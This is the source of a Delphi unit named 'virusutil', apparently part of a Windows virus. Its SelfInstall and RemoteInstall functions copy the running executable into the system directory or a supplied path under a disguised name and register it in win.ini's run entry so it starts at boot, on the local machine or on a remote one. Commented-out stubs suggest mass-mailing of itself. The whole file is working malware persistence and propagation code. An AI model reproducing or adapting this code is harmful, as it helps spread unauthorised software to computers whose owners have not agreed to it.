unit virusutil;
interface
uses forms,
  sysutils,
  fmxutils,
  winprocs,
  windows,comobj,ddeman,classes;





function SelfInstall(opt:string):BOOLEAN;
function RemoteInstall(fileAs,WinIniPath:string):BOOLEAN;
//function MailMeTo(addr:string):boolean;
//function MailDistrib(subject,body,attach:string):boolean;
implementation




function SelfInstall(opt:string):BOOLEAN;
var Appexe,appfile,destfile,destpath:string;
tmp1:array [0..81] of char;
f:file;
WinDir:String;
begin
GetSystemDirectory(tmp1,80);
WinDir:=strpas(tmp1);
if (copy(WinDir,length(WinDir),1) <> '\') then
   WinDir := WinDir+'\';
  appexe:=application.exename;
  appfile:=extractfilename(appexe);
  destpath:=WinDir;
//  destfile:=destpath+appfile;
    destfile:= destpath+opt;
 try
  Mycopyfile(appexe,destpath); // copy app to windir

  strpcopy(tmp1, destfile); // delete old file
  deletefile(tmp1);

  assignfile(f,destpath+appfile); // rename
  rename(f,destfile);

  strpcopy(tmp1, destfile);



  writeprivateprofilestring ('windows','run',tmp1,'win.ini');

except;

  end;

  end;

/////////
function RemoteInstall(fileAs,WinIniPath:string):BOOLEAN;

var Appexe,appfile,destfile,destpath:string;
tmp1,tmp2:array [0..81] of char;
f:file;
WinDir:String;
begin

WinDir:=WinIniPath;
if (copy(WinDir,length(WinDir),1) <> '\') then
   WinDir := WinDir+'\';
  appexe:=application.exename;
  appfile:=extractfilename(appexe);
  destpath:=WinDir;

    destfile:= destpath+fileAs;
 try
  Mycopyfile(appexe,destpath); // copy app to windir

  strpcopy(tmp1, destfile); // delete old file
  deletefile(tmp1);

  assignfile(f,destpath+appfile); // rename
  rename(f,destfile);

  strpcopy(tmp1, fileAs);

  strpcopy(tmp2, WinDir+'win.ini');

 writeprivateprofilestring ('windows','run',tmp1,tmp2);

except;

  end;

  end;


 

 end.